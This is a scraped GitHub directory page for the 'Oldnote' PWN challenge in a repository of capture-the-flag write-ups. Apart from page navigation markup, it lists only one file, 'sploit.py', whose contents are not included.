js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>27</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162845937,"originating_url":"https://github.com/KEERRO/ctf-writeups/tree/master/Poseidon%20CTF%201st%20Edition/PWN/Oldnote","user_id":null}}" data-hydro-click-hmac="7247a752a15d95fe9db8630ab9dedbed9c6fecb30ec9f3c656582e8c15d74b11"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>Poseidon CTF 1st Edition</span></span><span>/</span><span><span>PWN</span></span><span>/</span>Oldnote<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>Poseidon CTF 1st Edition</span></span><span>/</span><span><span>PWN</span></span><span>/</span>Oldnote<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/06bbaff46db8a3bdd138b18de938f9440e4e83b8/Poseidon%20CTF%201st%20Edition/PWN/Oldnote" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/KEERRO/ctf-writeups/file-list/master/Poseidon%20CTF%201st%20Edition/PWN/Oldnote"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 